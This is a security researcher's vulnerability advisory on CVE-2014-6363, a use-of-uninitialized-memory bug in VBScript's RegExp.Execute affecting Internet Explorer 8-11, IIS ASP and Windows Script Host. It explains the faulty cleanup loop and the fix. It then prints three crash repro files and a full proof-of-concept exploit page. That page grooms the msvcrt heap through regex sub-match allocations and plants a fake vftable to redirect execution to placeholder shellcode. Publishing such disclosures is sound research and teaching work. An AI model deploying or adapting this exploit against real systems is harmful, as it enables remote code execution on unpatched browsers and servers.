This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

VBScript CReg­Exp::Execute use of uninitialized memory

(MS14-080 and MS14-084, CVE-2014-6363)

Synopsis

A specially crafted script can cause the VBScript engine to access data before initializing it. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to control execution flow and execute arbitrary code. This includes all versions of Microsoft Internet Explorer.

Known affected versions, attack vectors and mitigations

Repro

Below are three repro files that trigger the issue in Windows Script Host (repro.vbs), Microsoft Internet Explorer (repro.html), and Internet Information Server (repro.asp).

Repro.vbs ' This Po­C attempts to exploit a use-of-uninitialized-memory bug in VBScript ' See http://blog.skylined.nl/20161107001.html for details. Set o­Reg­Exp = New Reg­Exp o­Reg­Exp.Pattern = "A|()*?$" o­Reg­Exp.Global = True o­Reg­Exp.Execute(String(&H11, "A") & "x") ' This work by Sky­Lined is licensed under a Creative Commons ' Attribution-Non-Commercial 4.0 International License. Repro.html <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=10"> <script language="VBScript"> ' This Po­C attempts to exploit a use-of-uninitialized-memory bug in ' VBScript that affects Microsoft Internet Explorer 8-11. ' See http://blog.skylined.nl/20161107001.html for details. Set o­Reg­Exp = New Reg­Exp o­Reg­Exp.Pattern = "A|()*?$" o­Reg­Exp.Global = True o­Reg­Exp.Execute(String(&H11, "A") & "x") ' This work by Sky­Lined is licensed under a Creative Commons ' Attribution-Non-Commercial 4.0 International License. </script> </head> </html> Repro.asp <% ' This Po­C attempts to exploit a use-of-uninitialized-memory bug in VBScript ' that affects Microsoft Internet Information Server Active Server Pages. ' See http://blog.skylined.nl/20161107001.html for details. Set o­Reg­Exp = New Reg­Exp o­Reg­Exp.Pattern = "A|()*?$" o­Reg­Exp.Global = True o­Reg­Exp.Execute(String(&H11, "A") & "x") ' This work by Sky­Lined is licensed under a Creative Commons ' Attribution-Non-Commercial 4.0 International License. %>

Description

During normal operation, when you execute the Reg­Exp.Execute method from VBScript the code in vbscript.dll executes the CReg­Exp::Execute function. This function creates a CMatch object for each match found, and stores pointers for all of these CMatch objects in a singly linked list of CMatch­Block structures (Note: the vbscript.dll symbols do not provide a name for this structure, so I gave it this name). Each CMatch­Block structure can store up to 16 such pointers, as well as a pointer to the next CMatch­Block. This last pointer is NULL unless all pointers in the CMatch­Block object are in use and more storage is needed, in which case a new CMatch­Block object is created and a link to the new object is added to the last one in the list. The code counts how many matches it has found so far, and this corresponds to the number of CMatch objects it has allocated.

The following pseudo-code represents these two structures:

CMatch­Block {
  00 04 CMatch­Block* po­Next­CMatch­Block
  04 40 CMatch* apo­CMatches[16]
} // size = 0x44 (x86) or 0x88 (x64)

CMatch {
  00 0C void** apap­VFTables[3]              
  0C 04 DWORD dw­Unknown_0C
  10 04 DWORD po­Unknown­Object_10
  14 04 DWORD po­Unknown­Object_14
  18 04 DWORD po­Unknown­Object_18
  1C 04 DWORD po­Unknown­Object_1C
  20 04 DWORD dw­Unknown_20
  24 04 BSTR s­Value
  28 04 INT[]* pai­Match­Start­And­End­Indices
  2C 04 INT i­Count­Match­And­Sub­Matches
} // size = 0x30 (x86) or unknown (x64)

When an error occurs in this part of the code, the error handling code will try to clean up and free all CMatch­Block structures created before the error occurred. To do this, it walks the linked list of CMatch­Block structures and for each structure, release each CMatch object in the structure. All CMatch­Block structures except the last one should have 16 such pointers, the last CMatch­Block structure can have 1-16, depending on how many matches where found in total. This appears to have been designed to count how many CMatch objects it has yet to free. This counter is initialized to the number of matches found before the error occurred and should be decremented whenever the code frees a CMatch object, so the code can determine how many CMatch object are in the last CMatch­Block structure. However, this code neglects to decrement this counter. This causes the code to assume all CMatch­Block structures have 16 CMatch object pointers if there were more than 16 matches in total, and attempt to release 16 CMatch objects from the last CMatch­Block structure, even if less than 16 pointers to CMatch objects were stored there.

The below pseudo-code represents how the real code works:

po­CMatch­Block = po­First­CMatch­Block;
do {
    if (i­Total­Matches­Count < 0x10) { // Note 1
        i­Matches­In­CMatch­Block = i­Total­Matches­Count;
    } else {
        i­Matches­In­CMatch­Block = 0x10; // Note 2
    }
    for (i­Index = 0; i­Index < i­Matches­In­CMatch­Block; i­Index++) {
        po­CMatch­Block->apo­CMatches[i­Index].Release(); // Note 3
    }
    po­Old­CMatch­Block = po­CMatch­Block;
    po­CMatch­Block = po­CMatch­Block->po­Next­CMatch­Block;
    delete po­Old­CMatch­Block;
    // Note 4
} while (po­CMatch­Block);

For example: if the code finds 17 matches before an error is triggered, 2 CMatch­Block structures will have been created: the first will contain 16 pointers to CMatch objects and the second will contain exactly 1. The error handling code will run with i­Total­Matches­Count set to 17 but never decrements it (Note 4 shows where that decrement should happen). The loop is executed twice, once for each CMatch­Block structure. On each do...while-loop i­Total­Matches­Count will be larger than 17 (Note 1) and thus i­Matches­In­CMatch­Block will be set to 16 (Note 2). This causes the for-loop to try to free 16 CMatch objects from the second CMatch­Block structure, in which only one was stored. This results in the code using uninitialized memory as a pointer to an object on which it attempts to call the Release method.

To fix this, the following code would have to be inserted at Note 4:

    i­Total­Matches­Count -= i­Matches­In­CMatch­Block

Exploitation

An attacker looking to exploit this bug will commonly attempt to allocate memory blocks of the same size and on the same heap as the CMatch­Block structure and fill these blocks with certain data before releasing them. If done correctly, the heap manager will then reuse these memory blocks when the CMatch­Block objects are allocated, causing these structures to contain the attacker supplied data. Once the vulnerability is triggered, this attacker supplied data is then used as pointers to CMatch objects, and when the code attempts to call the Release method of these objects, they are treated as pointers to a list of virtual function tables, from which the code retreives an address to call to execute that method. Control over these pointers therefore gives an attacker control over execution flow.

Heap Feng-Shui, a common technique used to manipulate the heap in MSIE, can not be used in this case, as it uses strings to manipulate the heap. Strings in both Java­Script and VBScript are allocated through OLEAUT32, whereas the CMatch­Block structures are allocated through msvcrt, which uses a different heap. The Trident rendering engine also uses a different heap to allocate various potentially useful memory blocks.

To find out if there was a way to allocate and free memory in order to manipulate the heap an control what the uninitialized memory contains, I logged all allocations made while executing the CReg­Exp::Execute method. This showed that it allocates a block of memory through msvcrt to store the indices of the start and end of a match and each of its sub-matches. The size of this block depends on the number of sub-matches in the regular expression and the contents of the block depends on where the matches are found in the string. Both are attacker controlled, allowing for the creation of memory blocks of near arbitrary size and content.

To exploit the bug, one can execute a regular expression that generates the desired sub-matches and free them in order to manipulate the heap before executing another regular expression that triggers the issue. This should cause the code to use attacker supplied values for the uninitialized CMatch object pointers. The Proof-of-Concept exploit below attempts to do this and execute memory under an attacker's control. As this is a simple Po­C sploit, nothing is done in order to attempt to bypass mitigations such as [DEP] and the "shellcode" is simply a bunch of INT3-s.

Time-line

sploit.html <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=10"> <script language="Java­Script"> // This Po­C attempts to exploit a use-of-uninitialized-memory bug in // VBScript that affects Microsoft Internet Explorer 8-11. // See http://blog.skylined.nl/20161107001.html for details. function create­Repeated­String(u­Size, s­String) { var s­Repeated­String = ""; var u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Size+1) / Math.log(2)) - 1); for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) { s­Repeated­String += s­Repeated­String; if (u­Size & u­Bit) s­Repeated­String += s­String; } return s­Repeated­String; } function create­DWord­String(u­Value) { return String.from­Char­Code(u­Value & 0x­FFFF, u­Value >>> 16); } function create­Chunk­With­DWords(u­Chunk­Size, u­Value) { return create­Repeated­String(u­Chunk­Size / 4, create­DWord­String(u­Value)); } function set­Chunk­DWord(s­Chunk, u­Offset, u­Value) { if (u­Offset & 1) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be Word aligned"); var u­Index = (u­Offset % (s­Chunk.length * 2)) / 2; return s­Chunk.substr(0, u­Index) + create­DWord­String(u­Value) + s­Chunk.substr(u­Index + 2); } window.onload = function() { // CReg­Exp::Execute can be made to use an uninitialized pointer to a CMatch object to call a virtual method of // that object. In order to exploit this vulnerability, the exploit will try to prepare the heap such that the // uninitialized pointer will contain a value under the exploit's control, allowing the exploit to control // what gets execution. // The uninitialized pointer is taken from a memory block containing 0x11 pointers (0x44 bytes on x86). var u­Block­Size = 0x44; // This block is allocated on a heap used by msvcrt, so the exploit will allocate blocks of memory of the same // size on the same heap, fill them with certain values and free them in order to prepare the heap. Commonly used // ways of spraying the heap allocate memory blocks on another heap and are therefore not useful in this context. // When a regular expression is executed and matches are found, a block of memory is allocated through msvcrt // for each match. Each block will be used to store the start and end offset of the match in two DWords, as well // as the start and end offset of each sub-match, also in two DWords (this is true for x86 and x64). Therefore, // changing the number of sub-matches allows control over the size of the block, and changing the offset of the // matches allows control over the values stored in the block. In short, the size of the block will be 8 bytes // plus 8 bytes for each "()" in the expression. Since all blocks are rounded up to a multiple of 8 bytes, this // can be used to allocate and fill blocks of the same size as the block that will contain the uninitialized // pointer later. // Successive matches will be at successive offsets, so the values stored in each allocated block will be // increment by the length of the match. If the size of each match is 4 bytes, the value will increase by 4 in // each successive block. For addresses pointing to a heap spray, this is acceptible. var s­Match­Marker = "PWND"; // This will be where the expression matches var u­Required­Sub­Matches = Math.floor((u­Block­Size + 7) / 8) - 1; var s­Pattern = create­Repeated­String(u­Required­Sub­Matches, "()") + s­Match­Marker; // The pattern will match at the marker, so a string with the same number of markers as the desired number of // match objects will created that many match objects on the heap. var u­Match­Count = 0x8001; // More is better :) var s­Matches­Buffer = create­Repeated­String(u­Match­Count, s­Match­Marker); // The memory blocks that the exploit will create will be filled with offsets of matches. To put the value X in a // block, a match must be made after X characters. The exploit will need to fill the block with pointers to memory // under its control, so the values it uses will be in the usual range for a heap spray. The values cannot be too // large, as the string needed to create them would become so large that OOMs are likely to kill the exploit. var u­Target­Address = 0x0a0a0000; // String needed to create this value will be twice as large! var u­VFTable­Offset = 0x8000; var u­Shellcode­Offset = 0x9000; // Now spray the heap is to allocate memory at the target address. var u­Chunk­Size = 0x10000; // Create a chunk with pointers to a fake vftable, a fake vftable and shellcode. var s­Chunk = create­Chunk­With­DWords(u­Chunk­Size, u­Target­Address + u­VFTable­Offset); // The fake vftable in the chunk should have a pointer for ::Release that points to our shellcode (no ROP // or anything fancy: this is a Po­C). s­Chunk = set­Chunk­DWord(s­Chunk, u­Target­Address + u­VFTable­Offset + 8, u­Target­Address + u­Shellcode­Offset); // The shellcode is just a bunch of INT3s (again; this is a Po­C sploit). s­Chunk = set­Chunk­DWord(s­Chunk, u­Target­Address + u­Shellcode­Offset, 0x­CCCCCCCC); var u­Chunk­Count = u­Target­Address / u­Chunk­Size * 2; var u­Heap­Header­Size = 0x10; var u­Heap­Footer­Size = 0x04; var s­Buffer = ( s­Chunk.substr(u­Heap­Header­Size / 2) + // Align chunk content with page boundary create­Repeated­String(u­Chunk­Count - 2, s­Chunk) + s­Chunk.substr(0, u­Heap­Header­Size / 2) + // Align matches with target address s­Matches­Buffer ); // The regular expression is executed on the buffer to create "u­Block­Count" blocks of "u­Block­Size" bytes filled // with dwords containing "u­Target­Address+N*4", where N is the number of the individual matches. // We'll do this a number of times spray­MSVCRTHeap­And­Trigger­Vuln(s­Pattern, s­Buffer); } // This work by Sky­Lined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> <script language="VBScript"> Set o­Reg­Exp = New Reg­Exp o­Reg­Exp.Global = True Sub spray­MSVCRTHeap­And­Trigger­Vuln(s­Pattern, s­Buffer) ' Spray MSVCRT heap o­Reg­Exp.Pattern = s­Pattern o­Reg­Exp.Execute(s­Buffer) ' 17 matches are needed before an error (caused by an OOM) to trigger the vulnerable cleanup path. o­Reg­Exp.Pattern = "A|()*?$" o­Reg­Exp.Execute(String(17, "A") & "x") End Sub </script> </head> </html>
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.